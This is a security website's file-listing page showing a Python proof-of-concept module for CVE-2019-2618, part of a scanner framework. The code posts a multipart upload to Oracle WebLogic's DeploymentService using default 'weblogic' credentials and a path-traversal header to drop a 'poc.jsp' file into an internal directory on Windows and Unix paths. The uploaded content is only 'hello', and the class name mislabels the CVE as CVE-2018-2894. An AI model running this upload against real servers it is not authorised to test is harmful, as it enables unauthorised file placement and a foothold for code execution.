menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right stars chevron_right cve_2019_2618.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    cve_2019_2618.py
    1.8 KB / 2021-07-12 19:46:00
        #!/usr/bin/env python3
    # _*_ coding:utf-8 _*_
    # CVE-2019-2618
    # 必须要用户名密码正确才可以验证,鸡肋
    # updated 2019/10/23
    # by 0xn0ne
    
    from stars import universe, Star, target_type
    from utils import http
    
    
    @universe.groups()
    class CVE_2018_2894(Star):
        info = {
            'NAME': '',
            'CVE': 'CVE-2019-2618',
            'TAG': []
        }
        type = target_type.MODULE
    
        def light_up(self, dip, dport, *args, **kwargs) -> (bool, dict):
            filename = 'poc.jsp'
            data = f'''
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="{filename}"; filename="{filename}"
    Content-Type: false
    
    hello
    
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--
    '''
            headers = {'username': 'weblogic',
                       'password': 'weblogic',
                       'wl_request_type': 'app_upload',
                       'wl_upload_application_name': '\\\\..\\\\tmp\\\\_WL_internal\\\\bea_wls_internal\\\\9j4dqk\\\\war',
                       'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW'}
            url = 'http://{}:{}/bea_wls_deployment_internal/DeploymentService'.format(dip, dport)
            win_res, data = http(url, 'POST', headers=headers, data=data)
            url = 'http://{}:{}/bea_wls_deployment_internal/DeploymentService'.format(dip, dport)
            headers['wl_upload_application_name'] = '/../tmp/_WL_internal/bea_wls_internal/9j4dqk/war'
            unx_res, data = http(url, 'POST', headers=headers, data=data)
            if (win_res != None and win_res.status_code != 404) or (unx_res != None and unx_res.status_code != 404):
                return True, {'msg': 'finish.'}
            # if (win_res != None and filename in win_res.text) or (unx_res != None and filename in unx_res.text):
            #     return True, {'msg': 'finish.'}
            return False, {'msg': 'finish.'}
    
    
    links
    file_download